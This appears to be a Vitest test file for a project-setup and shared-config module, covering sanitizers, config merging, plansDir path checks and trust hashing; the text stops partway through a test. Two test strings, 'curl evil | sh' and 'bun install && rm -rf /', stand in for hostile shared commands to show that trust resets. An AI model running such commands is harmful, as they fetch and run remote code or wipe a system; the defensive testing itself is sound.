558 lines
26 KiB
JavaScript
558 lines
26 KiB
JavaScript
import { describe, expect, it } from 'vitest';
|
|||
|
|
import os from 'os';
|
||
|
|
import path from 'path';
|
||
|
|
import { mkdir, mkdtemp, readFile, rm, writeFile } from 'fs/promises';
|
||
|
|
|
||
|
|
import { createProjectConfigRuntime } from './project-config.js';
|
||
|
|
import { createProjectIdFromPath, projectPathFromId } from './project-id.js';
|
||
|
|
import {
|
||
|
|
applySharedProjectSetupPatch,
|
||
|
|
isSharedProjectConfigEmpty,
|
||
|
|
mergeProjectSetup,
|
||
|
|
normalizePlansDir,
|
||
|
|
serializeSharedProjectConfig,
|
||
|
|
parseSharedProjectConfig,
|
||
|
|
sharedTrustHashOf,
|
||
|
|
projectSetupPatchToStored,
|
||
|
|
projectSetupViewOf,
|
||
|
|
sanitizeDraftStarters,
|
||
|
|
sanitizeProjectActions,
|
||
|
|
sanitizeSetupCommands,
|
||
|
|
} from './project-setup.js';
|
||
|
|
|
||
|
|
const emptyPersonal = {
|
||
|
|
setupWorktree: [],
|
||
|
|
setupWorktreeWait: null,
|
||
|
|
setupWorktreeMode: 'append',
|
||
|
|
projectActions: [],
|
||
|
|
projectActionsPrimaryId: null,
|
||
|
|
draftStarters: [],
|
||
|
|
hiddenSharedActionIds: [],
|
||
|
|
sharedTrust: null,
|
||
|
|
};
|
||
|
|
|
||
|
|
const createRuntime = async () => {
|
||
|
|
const tempRoot = await mkdtemp(path.join(os.tmpdir(), 'oc-project-setup-'));
|
||
|
|
const runtime = createProjectConfigRuntime({
|
||
|
|
fsPromises: await import('fs/promises'),
|
||
|
|
path,
|
||
|
|
projectsDirPath: path.join(tempRoot, 'projects'),
|
||
|
|
createTaskID: () => 'task-fixed-id',
|
||
|
|
});
|
||
|
|
return {
|
||
|
|
runtime,
|
||
|
|
tempRoot,
|
||
|
|
readRaw: async (projectId) => JSON.parse(await readFile(path.join(tempRoot, 'projects', `${projectId}.json`), 'utf8')),
|
||
|
|
cleanup: () => rm(tempRoot, { recursive: true, force: true }),
|
||
|
|
};
|
||
|
|
};
|
||
|
|
|
||
|
|
describe('project setup sanitizers', () => {
|
||
|
|
it('keeps only non-empty trimmed setup commands', () => {
|
||
|
|
expect(sanitizeSetupCommands([' bun install ', '', 42, '\n'])).toEqual(['bun install']);
|
||
|
|
expect(sanitizeSetupCommands('bun install')).toEqual([]);
|
||
|
|
});
|
||
|
|
|
||
|
|
it('drops actions without id, name, or command and duplicate ids', () => {
|
||
|
|
expect(sanitizeProjectActions([
|
||
|
|
{ id: 'a', name: 'Dev', command: 'bun run dev' },
|
||
|
|
{ id: 'a', name: 'Again', command: 'x' },
|
||
|
|
{ id: '', name: 'No id', command: 'x' },
|
||
|
|
{ id: 'b', name: '', command: 'x' },
|
||
|
|
'not an action',
|
||
|
|
])).toEqual([{ id: 'a', name: 'Dev', command: 'bun run dev', icon: null }]);
|
||
|
|
});
|
||
|
|
|
||
|
|
it('keeps only the optional action fields the user set', () => {
|
||
|
|
expect(sanitizeProjectActions([{
|
||
|
|
id: 'a',
|
||
|
|
name: 'Dev',
|
||
|
|
command: 'bun run dev',
|
||
|
|
icon: ' rocket ',
|
||
|
|
runIn: 'parent',
|
||
|
|
platforms: ['macos', 'MacOS', 'plan9', 'linux'],
|
||
|
|
autoOpenUrl: true,
|
||
|
|
openUrl: 'http://localhost:3000',
|
||
|
|
desktopOpenSshForward: '',
|
||
|
|
}])).toEqual([{
|
||
|
|
id: 'a',
|
||
|
|
name: 'Dev',
|
||
|
|
command: 'bun run dev',
|
||
|
|
icon: 'rocket',
|
||
|
|
autoOpenUrl: true,
|
||
|
|
openUrl: 'http://localhost:3000',
|
||
|
|
platforms: ['macos', 'linux'],
|
||
|
|
runIn: 'parent',
|
||
|
|
}]);
|
||
|
|
});
|
||
|
|
|
||
|
|
it('treats any runIn other than parent as the worktree default', () => {
|
||
|
|
const [worktree, number] = sanitizeProjectActions([
|
||
|
|
{ id: 'a', name: 'A', command: 'x', runIn: 'worktree' },
|
||
|
|
{ id: 'b', name: 'B', command: 'x', runIn: 123 },
|
||
|
|
]);
|
||
|
|
expect(worktree).not.toHaveProperty('runIn');
|
||
|
|
expect(number).not.toHaveProperty('runIn');
|
||
|
|
});
|
||
|
|
|
||
|
|
it('dedupes draft starters by type and name', () => {
|
||
|
|
expect(sanitizeDraftStarters([
|
||
|
|
{ type: 'skill', name: 'triage-prs' },
|
||
|
|
{ type: 'skill', name: 'triage-prs' },
|
||
|
|
{ type: 'command', name: ' explore ' },
|
||
|
|
{ type: 'agent', name: 'nope' },
|
||
|
|
])).toEqual([{ type: 'skill', name: 'triage-prs' }, { type: 'command', name: 'explore' }]);
|
||
|
|
});
|
||
|
|
|
||
|
|
it('builds the personal view from the on-disk keys and nulls a dangling primary action', () => {
|
||
|
|
expect(projectSetupViewOf({
|
||
|
|
'setup-worktree': ['bun install'],
|
||
|
|
'setup-worktree-wait': true,
|
||
|
|
setupWorktreeMode: 'replace',
|
||
|
|
projectActions: [{ id: 'a', name: 'A', command: 'x' }],
|
||
|
|
projectActionsPrimaryId: 'missing',
|
||
|
|
draftStarters: [{ type: 'skill', name: 's' }],
|
||
|
|
hiddenSharedActionIds: ['dev', '', 'dev', 7],
|
||
|
|
sharedTrust: { hash: 'sha256:abc', trustedAt: 5 },
|
||
|
|
scheduledTasks: [{ id: 't' }],
|
||
|
|
})).toEqual({
|
||
|
|
setupWorktree: ['bun install'],
|
||
|
|
setupWorktreeWait: true,
|
||
|
|
setupWorktreeMode: 'replace',
|
||
|
|
projectActions: [{ id: 'a', name: 'A', command: 'x', icon: null }],
|
||
|
|
projectActionsPrimaryId: null,
|
||
|
|
draftStarters: [{ type: 'skill', name: 's' }],
|
||
|
|
hiddenSharedActionIds: ['dev'],
|
||
|
|
sharedTrust: { hash: 'sha256:abc', trustedAt: 5 },
|
||
|
|
});
|
||
|
|
expect(projectSetupViewOf(null)).toEqual(emptyPersonal);
|
||
|
|
});
|
||
|
|
|
||
|
|
it('maps a patch to the stored keys it names and rejects wrong shapes', () => {
|
||
|
|
expect(projectSetupPatchToStored({
|
||
|
|
setupWorktree: ['a'],
|
||
|
|
projectActionsPrimaryId: null,
|
||
|
|
hiddenSharedActionIds: ['x'],
|
||
|
|
setupWorktreeMode: 'replace',
|
||
|
|
})).toEqual({
|
||
|
|
'setup-worktree': ['a'],
|
||
|
|
projectActionsPrimaryId: undefined,
|
||
|
|
hiddenSharedActionIds: ['x'],
|
||
|
|
setupWorktreeMode: 'replace',
|
||
|
|
});
|
||
|
|
expect(projectSetupPatchToStored({})).toEqual({});
|
||
|
|
expect(() => projectSetupPatchToStored({ setupWorktree: 'a' })).toThrow('setupWorktree must be');
|
||
|
|
expect(() => projectSetupPatchToStored({ setupWorktreeWait: 'yes' })).toThrow('setupWorktreeWait must be');
|
||
|
|
expect(() => projectSetupPatchToStored({ projectActions: {} })).toThrow('projectActions must be');
|
||
|
|
expect(() => projectSetupPatchToStored({ draftStarters: null })).toThrow('draftStarters must be');
|
||
|
|
expect(() => projectSetupPatchToStored({ hiddenSharedActionIds: 'dev' })).toThrow('hiddenSharedActionIds must be');
|
||
|
|
expect(() => projectSetupPatchToStored({ setupWorktreeMode: 'merge' })).toThrow('setupWorktreeMode must be');
|
||
|
|
expect(() => projectSetupPatchToStored({ sharedTrustHash: '' })).toThrow('sharedTrustHash must be');
|
||
|
|
expect(projectSetupPatchToStored({ sharedTrustHash: null })).toEqual({ sharedTrust: undefined });
|
||
|
|
expect(projectSetupPatchToStored({ sharedTrustHash: 'sha256:x' }).sharedTrust).toMatchObject({ hash: 'sha256:x' });
|
||
|
|
expect(() => projectSetupPatchToStored([])).toThrow('patch must be');
|
||
|
|
});
|
||
|
|
});
|
||
|
|
|
||
|
|
describe('shared project config', () => {
|
||
|
|
it('accepts a relative plansDir inside the repo only', () => {
|
||
|
|
expect(normalizePlansDir(' docs/plans/ ')).toBe('docs/plans');
|
||
|
|
expect(normalizePlansDir('./.openchamber/plans')).toBe('.openchamber/plans');
|
||
|
|
expect(normalizePlansDir('docs\\plans')).toBe('docs/plans');
|
||
|
|
expect(normalizePlansDir('/etc')).toBeNull();
|
||
|
|
expect(normalizePlansDir('C:/plans')).toBeNull();
|
||
|
|
expect(normalizePlansDir('../sibling/plans')).toBeNull();
|
||
|
|
expect(normalizePlansDir('docs/../../x')).toBeNull();
|
||
|
|
expect(normalizePlansDir('')).toBeNull();
|
||
|
|
});
|
||
|
|
|
||
|
|
it('parses a version-1 file and sanitizes its lists', () => {
|
||
|
|
expect(parseSharedProjectConfig(JSON.stringify({
|
||
|
|
version: 1,
|
||
|
|
setupWorktree: ['bun install', ''],
|
||
|
|
setupWorktreeWait: true,
|
||
|
|
projectActions: [{ id: 'dev', name: 'Dev', command: 'bun run dev' }, { id: '', name: 'x', command: 'y' }],
|
||
|
|
draftStarters: [{ type: 'skill', name: 's' }],
|
||
|
|
plansDir: 'docs/plans',
|
||
|
|
}))).toEqual({
|
||
|
|
status: 'ok',
|
||
|
|
config: {
|
||
|
|
setupWorktree: ['bun install'],
|
||
|
|
setupWorktreeWait: true,
|
||
|
|
projectActions: [{ id: 'dev', name: 'Dev', command: 'bun run dev', icon: null }],
|
||
|
|
draftStarters: [{ type: 'skill', name: 's' }],
|
||
|
|
plansDir: 'docs/plans',
|
||
|
|
},
|
||
|
|
});
|
||
|
|
expect(parseSharedProjectConfig('{"version":1}')).toEqual({
|
||
|
|
status: 'ok',
|
||
|
|
config: { setupWorktree: [], setupWorktreeWait: null, projectActions: [], draftStarters: [], plansDir: null },
|
||
|
|
});
|
||
|
|
});
|
||
|
|
|
||
|
|
it('reports a broken file as invalid with a reason, never as empty', () => {
|
||
|
|
expect(parseSharedProjectConfig('{ nope').status).toBe('invalid');
|
||
|
|
expect(parseSharedProjectConfig('[]')).toEqual({ status: 'invalid', reason: 'not an object' });
|
||
|
|
expect(parseSharedProjectConfig('{"version":2}').reason).toMatch(/unsupported version/);
|
||
|
|
expect(parseSharedProjectConfig('{"version":1,"setupWorktree":"bun install"}').reason).toMatch(/setupWorktree must be/);
|
||
|
|
expect(parseSharedProjectConfig('{"version":1,"plansDir":"/etc"}').reason).toMatch(/plansDir/);
|
||
|
|
});
|
||
|
|
|
||
|
|
it('merges shared and personal by the agreed rules', () => {
|
||
|
|
const shared = {
|
||
|
|
status: 'ok',
|
||
|
|
config: {
|
||
|
|
setupWorktree: ['bun install'],
|
||
|
|
setupWorktreeWait: true,
|
||
|
|
projectActions: [
|
||
|
|
{ id: 'dev', name: 'Dev', command: 'bun run dev', icon: null },
|
||
|
|
{ id: 'test', name: 'Test', command: 'bun test', icon: null },
|
||
|
|
{ id: 'lint', name: 'Lint', command: 'bun lint', icon: null },
|
||
|
|
],
|
||
|
|
draftStarters: [{ type: 'skill', name: 'shared-skill' }, { type: 'command', name: 'both' }],
|
||
|
|
plansDir: 'docs/plans',
|
||
|
|
},
|
||
|
|
};
|
||
|
|
const personal = {
|
||
|
|
...emptyPersonal,
|
||
|
|
setupWorktree: ['cp .env.example .env'],
|
||
|
|
projectActions: [{ id: 'test', name: 'My test', command: 'bun test --watch', icon: null }],
|
||
|
|
projectActionsPrimaryId: 'test',
|
||
|
|
draftStarters: [{ type: 'command', name: 'both' }, { type: 'command', name: 'mine' }],
|
||
|
|
hiddenSharedActionIds: ['lint'],
|
||
|
|
};
|
||
|
|
|
||
|
|
const merged = mergeProjectSetup(personal, shared);
|
||
|
|
expect(merged.setupWorktree).toEqual(['bun install', 'cp .env.example .env']);
|
||
|
|
expect(merged.setupWorktreeWait).toBe(true);
|
||
|
|
expect(merged.projectActions).toEqual([
|
||
|
|
{ id: 'dev', name: 'Dev', command: 'bun run dev', icon: null, source: 'shared' },
|
||
|
|
{ id: 'test', name: 'My test', command: 'bun test --watch', icon: null, source: 'personal' },
|
||
|
|
]);
|
||
|
|
expect(merged.projectActionsPrimaryId).toBe('test');
|
||
|
|
expect(merged.draftStarters).toEqual([
|
||
|
|
{ type: 'skill', name: 'shared-skill', source: 'shared' },
|
||
|
|
{ type: 'command', name: 'both', source: 'shared' },
|
||
|
|
{ type: 'command', name: 'mine', source: 'personal' },
|
||
|
|
]);
|
||
|
|
expect(merged.shared).toEqual({ status: 'ok', path: '.openchamber/project.json', ...shared.config });
|
||
|
|
expect(merged.personal).toBe(personal);
|
||
|
|
expect(merged.trust).toEqual({ hash: sharedTrustHashOf(shared.config), trusted: false });
|
||
|
|
});
|
||
|
|
|
||
|
|
it('hashes the executable parts of the shared config, order-independent for actions', () => {
|
||
|
|
const base = { setupWorktree: ['bun install'], projectActions: [{ id: 'b', name: 'B', command: 'y', icon: null }, { id: 'a', name: 'A', command: 'x', icon: null }], draftStarters: [], plansDir: null, setupWorktreeWait: null };
|
||
|
|
const hash = sharedTrustHashOf(base);
|
||
|
|
expect(hash).toMatch(/^sha256:[0-9a-f]{64}$/);
|
||
|
|
expect(sharedTrustHashOf({ ...base, projectActions: [...base.projectActions].reverse() })).toBe(hash);
|
||
|
|
// Renaming or re-describing does not change what runs; changing a command does.
|
||
|
|
expect(sharedTrustHashOf({ ...base, projectActions: base.projectActions.map((a) => ({ ...a, name: 'Renamed', icon: 'rocket' })) })).toBe(hash);
|
||
|
|
expect(sharedTrustHashOf({ ...base, setupWorktree: ['curl evil | sh'] })).not.toBe(hash);
|
||
|
|
expect(sharedTrustHashOf({ ...base, projectActions: [{ ...base.projectActions[0], runIn: 'parent' }, base.projectActions[1]] })).not.toBe(hash);
|
||
|
|
expect(sharedTrustHashOf({ ...base, setupWorktree: [], projectActions: [] })).toBeNull();
|
||
|
|
});
|
||
|
|
|
||
|
|
it('reports trust: nothing to trust without executable shared parts, trusted only for the recorded hash', () => {
|
||
|
|
const inert = { status: 'ok', config: { setupWorktree: [], setupWorktreeWait: null, projectActions: [], draftStarters: [{ type: 'skill', name: 's' }], plansDir: null } };
|
||
|
|
expect(mergeProjectSetup(emptyPersonal, inert).trust).toEqual({ hash: null, trusted: true });
|
||
|
|
expect(mergeProjectSetup(emptyPersonal, { status: 'missing' }).trust).toEqual({ hash: null, trusted: true });
|
||
|
|
|
||
|
|
const risky = { status: 'ok', config: { ...inert.config, setupWorktree: ['bun install'] } };
|
||
|
|
const hash = sharedTrustHashOf(risky.config);
|
||
|
|
expect(mergeProjectSetup(emptyPersonal, risky).trust).toEqual({ hash, trusted: false });
|
||
|
|
expect(mergeProjectSetup({ ...emptyPersonal, sharedTrust: { hash, trustedAt: 1 } }, risky).trust.trusted).toBe(true);
|
||
|
|
expect(mergeProjectSetup({ ...emptyPersonal, sharedTrust: { hash: 'sha256:stale', trustedAt: 1 } }, risky).trust.trusted).toBe(false);
|
||
|
|
});
|
||
|
|
|
||
|
|
it('lets the personal wait flag and replace mode win over shared', () => {
|
||
|
|
const shared = { status: 'ok', config: { setupWorktree: ['bun install'], setupWorktreeWait: true, projectActions: [], draftStarters: [], plansDir: null } };
|
||
|
|
const merged = mergeProjectSetup({ ...emptyPersonal, setupWorktree: ['mine'], setupWorktreeWait: false, setupWorktreeMode: 'replace' }, shared);
|
||
|
|
expect(merged.setupWorktree).toEqual(['mine']);
|
||
|
|
expect(merged.setupWorktreeWait).toBe(false);
|
||
|
|
});
|
||
|
|
|
||
|
|
it('carries an invalid shared read through with its reason and merges nothing from it', () => {
|
||
|
|
const merged = mergeProjectSetup({ ...emptyPersonal, setupWorktree: ['mine'] }, { status: 'invalid', reason: 'invalid JSON: x' });
|
||
|
|
expect(merged.setupWorktree).toEqual(['mine']);
|
||
|
|
expect(merged.shared.status).toBe('invalid');
|
||
|
|
expect(merged.shared.reason).toBe('invalid JSON: x');
|
||
|
|
expect(merged.shared.projectActions).toEqual([]);
|
||
|
|
});
|
||
|
|
});
|
||
|
|
|
||
|
|
describe('shared project config writes', () => {
|
||
|
|
const empty = { setupWorktree: [], setupWorktreeWait: null, projectActions: [], draftStarters: [], plansDir: null };
|
||
|
|
|
||
|
|
it('applies a patch over the current config and refuses wrong shapes', () => {
|
||
|
|
const next = applySharedProjectSetupPatch({ ...empty, setupWorktree: ['old'] }, {
|
||
|
|
projectActions: [{ id: 'dev', name: 'Dev', command: 'bun run dev', source: 'personal', icon: '' }],
|
||
|
|
plansDir: './docs/plans/',
|
||
|
|
});
|
||
|
|
expect(next.setupWorktree).toEqual(['old']);
|
||
|
|
expect(next.projectActions).toEqual([{ id: 'dev', name: 'Dev', command: 'bun run dev', icon: null }]);
|
||
|
|
expect(next.plansDir).toBe('docs/plans');
|
||
|
|
expect(applySharedProjectSetupPatch(next, { plansDir: '' }).plansDir).toBeNull();
|
||
|
|
expect(() => applySharedProjectSetupPatch(empty, { plansDir: '/etc' })).toThrow('plansDir must be');
|
||
|
|
expect(() => applySharedProjectSetupPatch(empty, { setupWorktree: 'x' })).toThrow('setupWorktree must be');
|
||
|
|
expect(() => applySharedProjectSetupPatch(empty, { setupWorktreeWait: 'yes' })).toThrow('setupWorktreeWait must be');
|
||
|
|
});
|
||
|
|
|
||
|
|
it('serializes version first, only the keys that carry something, without source marks', () => {
|
||
|
|
expect(serializeSharedProjectConfig({ ...empty, projectActions: [{ id: 'dev', name: 'Dev', command: 'x', icon: null, source: 'personal' }], plansDir: 'docs/plans' })).toBe([
|
||
|
|
'{',
|
||
|
|
' "version": 1,',
|
||
|
|
' "projectActions": [',
|
||
|
|
' {',
|
||
|
|
' "id": "dev",',
|
||
|
|
' "name": "Dev",',
|
||
|
|
' "command": "x"',
|
||
|
|
' }',
|
||
|
|
' ],',
|
||
|
|
' "plansDir": "docs/plans"',
|
||
|
|
'}',
|
||
|
|
'',
|
||
|
|
].join('\n'));
|
||
|
|
expect(isSharedProjectConfigEmpty(empty)).toBe(true);
|
||
|
|
expect(isSharedProjectConfigEmpty({ ...empty, setupWorktreeWait: false })).toBe(false);
|
||
|
|
});
|
||
|
|
});
|
||
|
|
|
||
|
|
describe('project id', () => {
|
||
|
|
it('round-trips a path through the id', () => {
|
||
|
|
const id = createProjectIdFromPath('/Users/me/projects/repo/');
|
||
|
|
expect(id.startsWith('path_')).toBe(true);
|
||
|
|
expect(projectPathFromId(id)).toBe('/Users/me/projects/repo');
|
||
|
|
expect(projectPathFromId('project-test')).toBe('');
|
||
|
|
expect(projectPathFromId('path_')).toBe('');
|
||
|
|
});
|
||
|
|
});
|
||
|
|
|
||
|
|
describe('project setup runtime', () => {
|
||
|
|
it('reads an empty merged view for a project without files', async () => {
|
||
|
|
const { runtime, cleanup } = await createRuntime();
|
||
|
|
try {
|
||
|
|
const view = await runtime.readProjectSetup('project-a');
|
||
|
|
expect(view.setupWorktree).toEqual([]);
|
||
|
|
expect(view.setupWorktreeWait).toBe(false);
|
||
|
|
expect(view.projectActions).toEqual([]);
|
||
|
|
expect(view.draftStarters).toEqual([]);
|
||
|
|
expect(view.shared.status).toBe('missing');
|
||
|
|
expect(view.personal).toEqual(emptyPersonal);
|
||
|
|
} finally {
|
||
|
|
await cleanup();
|
||
|
|
}
|
||
|
|
});
|
||
|
|
|
||
|
|
it('round-trips a patch and preserves server-owned and unknown keys', async () => {
|
||
|
|
const { runtime, tempRoot, readRaw, cleanup } = await createRuntime();
|
||
|
|
try {
|
||
|
|
await mkdir(path.join(tempRoot, 'projects'), { recursive: true });
|
||
|
|
await writeFile(path.join(tempRoot, 'projects', 'project-a.json'), JSON.stringify({
|
||
|
|
version: 1,
|
||
|
|
scheduledTasks: [{ id: 'task', name: 'Keep me' }],
|
||
|
|
futureKey: { from: 'a newer build' },
|
||
|
|
'setup-worktree': ['old'],
|
||
|
|
}));
|
||
|
|
|
||
|
|
const view = await runtime.updateProjectSetup('project-a', {
|
||
|
|
setupWorktree: ['bun install', ''],
|
||
|
|
setupWorktreeWait: true,
|
||
|
|
projectActions: [{ id: 'dev', name: 'Dev', command: 'bun run dev' }],
|
||
|
|
projectActionsPrimaryId: 'dev',
|
||
|
|
projectPath: '/repo/a',
|
||
|
|
});
|
||
|
|
expect(view.setupWorktree).toEqual(['bun install']);
|
||
|
|
expect(view.setupWorktreeWait).toBe(true);
|
||
|
|
expect(view.projectActions).toEqual([{ id: 'dev', name: 'Dev', command: 'bun run dev', icon: null, source: 'personal' }]);
|
||
|
|
expect(view.projectActionsPrimaryId).toBe('dev');
|
||
|
|
|
||
|
|
const raw = await readRaw('project-a');
|
||
|
|
expect(raw.scheduledTasks).toEqual([{ id: 'task', name: 'Keep me' }]);
|
||
|
|
expect(raw.futureKey).toEqual({ from: 'a newer build' });
|
||
|
|
expect(raw['setup-worktree']).toEqual(['bun install']);
|
||
|
|
expect(raw['setup-worktree-wait']).toBe(true);
|
||
|
|
expect(raw.projectPath).toBe('/repo/a');
|
||
|
|
expect(await runtime.readProjectSetup('project-a')).toEqual(view);
|
||
|
|
} finally {
|
||
|
|
await cleanup();
|
||
|
|
}
|
||
|
|
});
|
||
|
|
|
||
|
|
it('clears the primary action id when the patch sets it to null', async () => {
|
||
|
|
const { runtime, readRaw, cleanup } = await createRuntime();
|
||
|
|
try {
|
||
|
|
await runtime.updateProjectSetup('project-a', {
|
||
|
|
projectActions: [{ id: 'dev', name: 'Dev', command: 'x' }],
|
||
|
|
projectActionsPrimaryId: 'dev',
|
||
|
|
});
|
||
|
|
await runtime.updateProjectSetup('project-a', { projectActionsPrimaryId: null });
|
||
|
|
expect(await readRaw('project-a')).not.toHaveProperty('projectActionsPrimaryId');
|
||
|
|
expect((await runtime.readProjectSetup('project-a')).projectActionsPrimaryId).toBeNull();
|
||
|
|
} finally {
|
||
|
|
await cleanup();
|
||
|
|
}
|
||
|
|
});
|
||
|
|
|
||
|
|
it('leaves the file alone when the patch is invalid', async () => {
|
||
|
|
const { runtime, tempRoot, cleanup } = await createRuntime();
|
||
|
|
try {
|
||
|
|
await expect(runtime.updateProjectSetup('project-a', { setupWorktree: 'nope' })).rejects.toThrow('setupWorktree must be');
|
||
|
|
await expect(readFile(path.join(tempRoot, 'projects', 'project-a.json'), 'utf8')).rejects.toMatchObject({ code: 'ENOENT' });
|
||
|
|
} finally {
|
||
|
|
await cleanup();
|
||
|
|
}
|
||
|
|
});
|
||
|
|
|
||
|
|
it('does not clobber a scheduled task written between read and write', async () => {
|
||
|
|
const { runtime, readRaw, cleanup } = await createRuntime();
|
||
|
|
try {
|
||
|
|
await runtime.upsertScheduledTask('project-a', {
|
||
|
|
name: 'Nightly',
|
||
|
|
enabled: true,
|
||
|
|
schedule: { kind: 'daily', time: '09:30', timezone: 'UTC' },
|
||
|
|
execution: { prompt: 'hi', providerID: 'openai', modelID: 'gpt' },
|
||
|
|
});
|
||
|
|
await Promise.all([
|
||
|
|
runtime.updateProjectSetup('project-a', { setupWorktree: ['bun install'] }),
|
||
|
|
runtime.updateProjectSetup('project-a', { draftStarters: [{ type: 'skill', name: 's' }] }),
|
||
|
|
]);
|
||
|
|
const raw = await readRaw('project-a');
|
||
|
|
expect(raw.scheduledTasks).toHaveLength(1);
|
||
|
|
expect(raw['setup-worktree']).toEqual(['bun install']);
|
||
|
|
expect(raw.draftStarters).toEqual([{ type: 'skill', name: 's' }]);
|
||
|
|
} finally {
|
||
|
|
await cleanup();
|
||
|
|
}
|
||
|
|
});
|
||
|
|
|
||
|
|
it('reads the shared file from the checkout the id names and merges it', async () => {
|
||
|
|
const { runtime, tempRoot, cleanup } = await createRuntime();
|
||
|
|
try {
|
||
|
|
const repo = path.join(tempRoot, 'repo');
|
||
|
|
await mkdir(path.join(repo, '.openchamber'), { recursive: true });
|
||
|
|
await writeFile(path.join(repo, '.openchamber', 'project.json'), JSON.stringify({
|
||
|
|
version: 1,
|
||
|
|
setupWorktree: ['bun install'],
|
||
|
|
projectActions: [{ id: 'dev', name: 'Dev', command: 'bun run dev' }, { id: 'lint', name: 'Lint', command: 'bun lint' }],
|
||
|
|
draftStarters: [{ type: 'skill', name: 'triage' }],
|
||
|
|
plansDir: 'docs/plans',
|
||
|
|
}));
|
||
|
|
const projectId = createProjectIdFromPath(repo);
|
||
|
|
|
||
|
|
const fresh = await runtime.readProjectSetup(projectId);
|
||
|
|
expect(fresh.shared.status).toBe('ok');
|
||
|
|
expect(fresh.shared.plansDir).toBe('docs/plans');
|
||
|
|
expect(fresh.setupWorktree).toEqual(['bun install']);
|
||
|
|
expect(fresh.projectActions.map((action) => `${action.id}:${action.source}`)).toEqual(['dev:shared', 'lint:shared']);
|
||
|
|
|
||
|
|
const view = await runtime.updateProjectSetup(projectId, {
|
||
|
|
setupWorktree: ['cp .env.example .env'],
|
||
|
|
hiddenSharedActionIds: ['lint'],
|
||
|
|
projectActions: [{ id: 'mine', name: 'Mine', command: 'x' }],
|
||
|
|
});
|
||
|
|
expect(view.setupWorktree).toEqual(['bun install', 'cp .env.example .env']);
|
||
|
|
expect(view.projectActions.map((action) => `${action.id}:${action.source}`)).toEqual(['dev:shared', 'mine:personal']);
|
||
|
|
expect(view.draftStarters).toEqual([{ type: 'skill', name: 'triage', source: 'shared' }]);
|
||
|
|
expect(view.personal.hiddenSharedActionIds).toEqual(['lint']);
|
||
|
|
|
||
|
|
expect(view.trust.trusted).toBe(false);
|
||
|
|
const trusted = await runtime.updateProjectSetup(projectId, { sharedTrustHash: view.trust.hash });
|
||
|
|
expect(trusted.trust.trusted).toBe(true);
|
||
|
|
expect(trusted.personal.sharedTrust?.hash).toBe(view.trust.hash);
|
||
|
|
// A pull that changes a shared command invalidates the answer.
|
||
|
|
await writeFile(path.join(repo, '.openchamber', 'project.json'), JSON.stringify({ version: 1, setupWorktree: ['bun install && rm -rf /'] }));
|
||
|
|
expect((await runtime.readProjectSetup(projectId)).trust.trusted).toBe(false);
|
||
|
|
const reset = await runtime.updateProjectSetup(projectId, { sharedTrustHash: null });
|
||
|
|
expect(reset.personal.sharedTrust).toBeNull();
|
||
|
|
} finally {
|
||
|
|
await cleanup();
|
||
|
|
}
|
||
|
|
});
|
||
|
|
|
||
|
|
it('writes the shared file into the checkout, trusts it for the writer, and removes it when emptied', async () => {
|
||
|
|
const { runtime, tempRoot, readRaw, cleanup } = await createRuntime();
|
||
|
|
try {
|
||
|
|
const repo = path.join(tempRoot, 'repo');
|
||
|
|
await mkdir(repo, { recursive: true });
|
||
|
|
const projectId = createProjectIdFromPath(repo);
|
||
|
|
const sharedPath = path.join(repo, '.openchamber', 'project.json');
|
||
|
|
|
||
|
|
const shared = await runtime.updateSharedProjectSetup(projectId, {
|
||
|
|
setupWorktree: ['bun install'],
|
||
|
|
projectActions: [{ id: 'dev', name: 'Dev', command: 'bun run dev' }],
|
||
|
|
});
|
||
|
|
expect(JSON.parse(await readFile(sharedPath, 'utf8'))).toEqual({
|
||
|
|
version: 1,
|
||
|
|
setupWorktree: ['bun install'],
|
||
|
|
projectActions: [{ id: 'dev', name: 'Dev', command: 'bun run dev' }],
|
||
|
|
});
|
||
|
|
expect(shared.shared.status).toBe('ok');
|
||
|
|
expect(shared.projectActions.map((action) => `${action.id}:${action.source}`)).toEqual(['dev:shared']);
|
||
|
|
// The writer has seen what it shared: trusted here, prompt stays for teammates.
|
||
|
|
expect(shared.trust.trusted).toBe(true);
|
||
|
|
expect((await readRaw(projectId)).sharedTrust.hash).toBe(shared.trust.hash);
|
||
|
|
|
||
|
|
// A second patch replaces only the keys it names.
|
||
|
|
const withPlans = await runtime.updateSharedProjectSetup(projectId, { plansDir: 'docs/plans' });
|
||
|
|
expect(withPlans.shared.plansDir).toBe('docs/plans');
|
||
|
|
expect(withPlans.shared.setupWorktree).toEqual(['bun install']);
|
||
|
|
|
||
|
|
const emptied = await runtime.updateSharedProjectSetup(projectId, { setupWorktree: [], projectActions: [], plansDir: null });
|
||
|
|
expect(emptied.shared.status).toBe('missing');
|
||
|
|
await expect(readFile(sharedPath, 'utf8')).rejects.toMatchObject({ code: 'ENOENT' });
|
||
|
|
await expect(readFile(path.join(repo, '.openchamber'), 'utf8')).rejects.toMatchObject({ code: 'ENOENT' });
|
||
|
|
expect((await readRaw(projectId)).sharedTrust).toBeUndefined();
|
||
|
|
} finally {
|
||
|
|
await cleanup();
|
||
|
|
}
|
||
|
|
});
|
||
|
|
|
||
|
|
it('refuses to write the shared file for a checkout that does not exist and on a bad patch', async () => {
|
||
|
|
const { runtime, tempRoot, cleanup } = await createRuntime();
|
||
|
|
try {
|
||
|
|
const projectId = createProjectIdFromPath(path.join(tempRoot, 'missing-repo'));
|
||
|
|
await expect(runtime.updateSharedProjectSetup(projectId, { setupWorktree: ['x'] })).rejects.toThrow('project checkout not found');
|
||
|
|
await expect(runtime.updateSharedProjectSetup('project-test', { setupWorktree: ['x'] })).rejects.toThrow('project checkout not found');
|
||
|
|
const repo = path.join(tempRoot, 'repo');
|
||
|
|
await mkdir(repo, { recursive: true });
|
||
|
|
await expect(runtime.updateSharedProjectSetup(createProjectIdFromPath(repo), { plansDir: '../x' })).rejects.toThrow('plansDir must be');
|
||
|
|
await expect(readFile(path.join(repo, '.openchamber', 'project.json'), 'utf8')).rejects.toMatchObject({ code: 'ENOENT' });
|
||
|
|
} finally {
|
||
|
|
await cleanup();
|
||
|
|
}
|
||
|
|
});
|
||
|
|
|
||
|
|
it('resolves the repository plans folder: the default without plansDir, the configured one instead of it', async () => {
|
||
|
|
const { runtime, tempRoot, cleanup } = await createRuntime();
|
||
|
|
try {
|
||
|
|
const repo = path.join(tempRoot, 'repo');
|
||
|
|
await mkdir(repo, { recursive: true });
|
||
|
|
const projectId = createProjectIdFromPath(repo);
|
||
|
|
expect(await runtime.resolveSharedPlansDir(projectId)).toBe(path.join(repo, '.openchamber', 'plans'));
|
||
|
|
await runtime.updateSharedProjectSetup(projectId, { plansDir: 'docs/plans' });
|
||
|
|
